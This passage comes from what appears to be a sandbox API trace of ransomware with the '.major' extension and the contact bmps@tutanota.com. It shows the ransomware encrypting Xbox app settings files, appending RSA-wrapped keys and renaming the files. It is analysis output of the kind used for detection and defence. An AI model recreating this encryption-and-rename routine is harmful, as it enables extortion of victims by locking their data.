ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6674b8 [0205.065] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2087373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fb18 [0205.065] SetLastError (dwErrCode=0x12) [0205.065] GetLastError () returned 0x12 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] GetLastError () returned 0x12 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0205.066] FindNextFileW (in: hFindFile=0x2f2fb18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2087373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] GetLastError () returned 0x12 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] GetLastError () returned 0x12 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5becb8 [0205.066] FindNextFileW (in: hFindFile=0x2f2fb18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] GetLastError () returned 0x12 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] GetLastError () returned 0x12 [0205.066] SetLastError (dwErrCode=0x12) [0205.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0205.066] FindNextFileW (in: hFindFile=0x2f2fb18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f87b50 [0205.067] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7138b2cd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f9d8 [0205.067] SetLastError (dwErrCode=0x12) [0205.067] GetLastError () returned 0x12 [0205.067] SetLastError (dwErrCode=0x12) [0205.067] GetLastError () returned 0x12 [0205.067] SetLastError (dwErrCode=0x12) [0205.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0205.067] FindNextFileW (in: hFindFile=0x2f2f9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7138b2cd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.067] SetLastError (dwErrCode=0x12) [0205.067] GetLastError () returned 0x12 [0205.067] SetLastError (dwErrCode=0x12) [0205.067] GetLastError () returned 0x12 [0205.067] SetLastError (dwErrCode=0x12) [0205.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be6e0 [0205.067] FindNextFileW (in: hFindFile=0x2f2f9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] GetLastError () returned 0x12 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] GetLastError () returned 0x12 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.068] FindNextFileW (in: hFindFile=0x2f2f9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15aca2b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x15aca2b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x15aca2b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] GetLastError () returned 0x12 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] GetLastError () returned 0x12 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0205.068] FindNextFileW (in: hFindFile=0x2f2f9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15aca2b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa9d8782f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x27035a40, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] GetLastError () returned 0x12 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] GetLastError () returned 0x12 [0205.068] SetLastError (dwErrCode=0x12) [0205.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.068] FindNextFileW (in: hFindFile=0x2f2f9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x133ef956, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x133ef956, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x133ef956, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0205.068] SetLastError (dwErrCode=0x12) [0205.069] GetLastError () returned 0x12 [0205.069] SetLastError (dwErrCode=0x12) [0205.069] GetLastError () returned 0x12 [0205.069] SetLastError (dwErrCode=0x12) [0205.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.069] FindNextFileW (in: hFindFile=0x2f2f9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x133ef956, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x133ef956, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x133ef956, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0205.069] SetLastError (dwErrCode=0x12) [0205.069] GetLastError () returned 0x12 [0205.069] SetLastError (dwErrCode=0x12) [0205.069] GetLastError () returned 0x12 [0205.069] SetLastError (dwErrCode=0x12) [0205.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.069] FindNextFileW (in: hFindFile=0x2f2f9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x133ef956, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x133ef956, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x133ef956, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0205.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6657f0 [0205.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60788 [0205.069] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.069] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0205.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0205.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60d9c0 [0205.073] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1374 [0205.073] GetFileSizeEx (in: hFile=0x1374, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.073] ReadFile (in: hFile=0x1374, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.073] SetFilePointer (in: hFile=0x1374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.074] WriteFile (in: hFile=0x1374, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.074] SetFilePointer (in: hFile=0x1374, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.074] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.074] WriteFile (in: hFile=0x1374, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.075] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.075] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.075] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.075] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="789kd14nKRCMXS1zF4qNhuC2zefmErByNNB04lDSmrORf+aPqEulJP5WYblMFBtr\neZJpLq/gXrpW1HR2Jh+kCqbYrCj+pKMBABvwDdiGvAd5pNK4F4A2XRQNWMzEaRFz\nEukJRAEPNaOUPVZmolgULS4ad6mfkhglNIRu6Bj0LEMXX4dbZJGli4fZk/joIK63\n8pHOlOGBGbaDs3CH7ddRfY2K+80Gs/8voU4CGnRLfPIBS4MnOugKzDbvrt7hVx+S\noG22I73mmWLNm+E2oUj4bkXrYv7EJKlz6khfsj4kE3Q8nzgOMYE+hGKDaWf6K7fe\nMvx06LtrWDx/HDaL5/vTuQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.075] WriteFile (in: hFile=0x1374, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.075] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.075] WriteFile (in: hFile=0x1374, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.075] CloseHandle (hObject=0x1374) returned 1 [0205.076] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.log2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.172] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.172] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0205.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0205.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60dc10 [0205.173] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1374 [0205.173] GetFileSizeEx (in: hFile=0x1374, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8f8c8 [0205.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0205.173] ReadFile (in: hFile=0x1374, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.198] SetFilePointer (in: hFile=0x1374, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.198] WriteFile (in: hFile=0x1374, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.198] SetFilePointer (in: hFile=0x1374, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.198] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.198] WriteFile (in: hFile=0x1374, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.198] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.198] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.198] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.198] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VvinEA8bXZfomff0faR67MMVF8d6MNctoK1ocO9Cu1GaWQ9mzSAjJ98Y32x54mlF\nSBmIWCJEcyxOluKVctbZIaNMvp23gQfFJ96/xIIsXyeiD56kgtgR+ba55izt8GAU\nuawjCY2uEx+R58+IWmKMAb1di0fMiQtDgVMQTTOTf4jJF/LphOcGMu6Eh/jasSeM\nsOuDt7UTDMPtXCfSNJVryfjRA6eOlu/Ng4a3xnEsW6ph5u6Ir82ku5KGDLeByIgK\nQpvdjQYI7iN03+8JKyvSE8BrRiJ8w6JOfCMHcfvVc/rxdKtS9Ks1XLPSPbyq63pj\nxEp3VMuyINews+5lM76FBQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.199] WriteFile (in: hFile=0x1374, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.199] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.199] WriteFile (in: hFile=0x1374, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.199] CloseHandle (hObject=0x1374) returned 1 [0205.199] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.log1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.210] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.210] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0205.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60dd38 [0205.211] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1374 [0205.211] GetFileSizeEx (in: hFile=0x1374, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0205.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f918d0 [0205.211] ReadFile (in: hFile=0x1374, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.212] SetFilePointer (in: hFile=0x1374, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.213] WriteFile (in: hFile=0x1374, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.213] SetFilePointer (in: hFile=0x1374, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.213] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.213] WriteFile (in: hFile=0x1374, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.213] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.213] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.213] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.213] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.213] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hovIYosq4dbquw7PTm8s+3fvHVPCvzL3AJcHYIp1v4cOQdDai3KKL65QzpFI3MvN\n2TBKM90+eMlv46f+BT1HyYWeVI/SDwmCKvUxws0OTEf0N8DWXBQD/efxODqtCvk4\nZgFJ3yFW4fuQft5mT0cmQ2YAkhCxf7/LpRq4y5KFsa441MvdY/fCYj7rombCQCbz\nPCUXAgqmA1eqObAErbYhXbDTZQjSjDJkUq0bHg65o5rFZTY5TgA1sFNYwOs41rkg\nnE2QZAeaDo08PQ+SvebIk6mcFnWqdj8sKzdRPyQb8e44tT8CjDz37VySBYkjj8ta\n51BCU9QyHDLzDSHh0Q02QQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.214] WriteFile (in: hFile=0x1374, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.214] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.214] WriteFile (in: hFile=0x1374, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 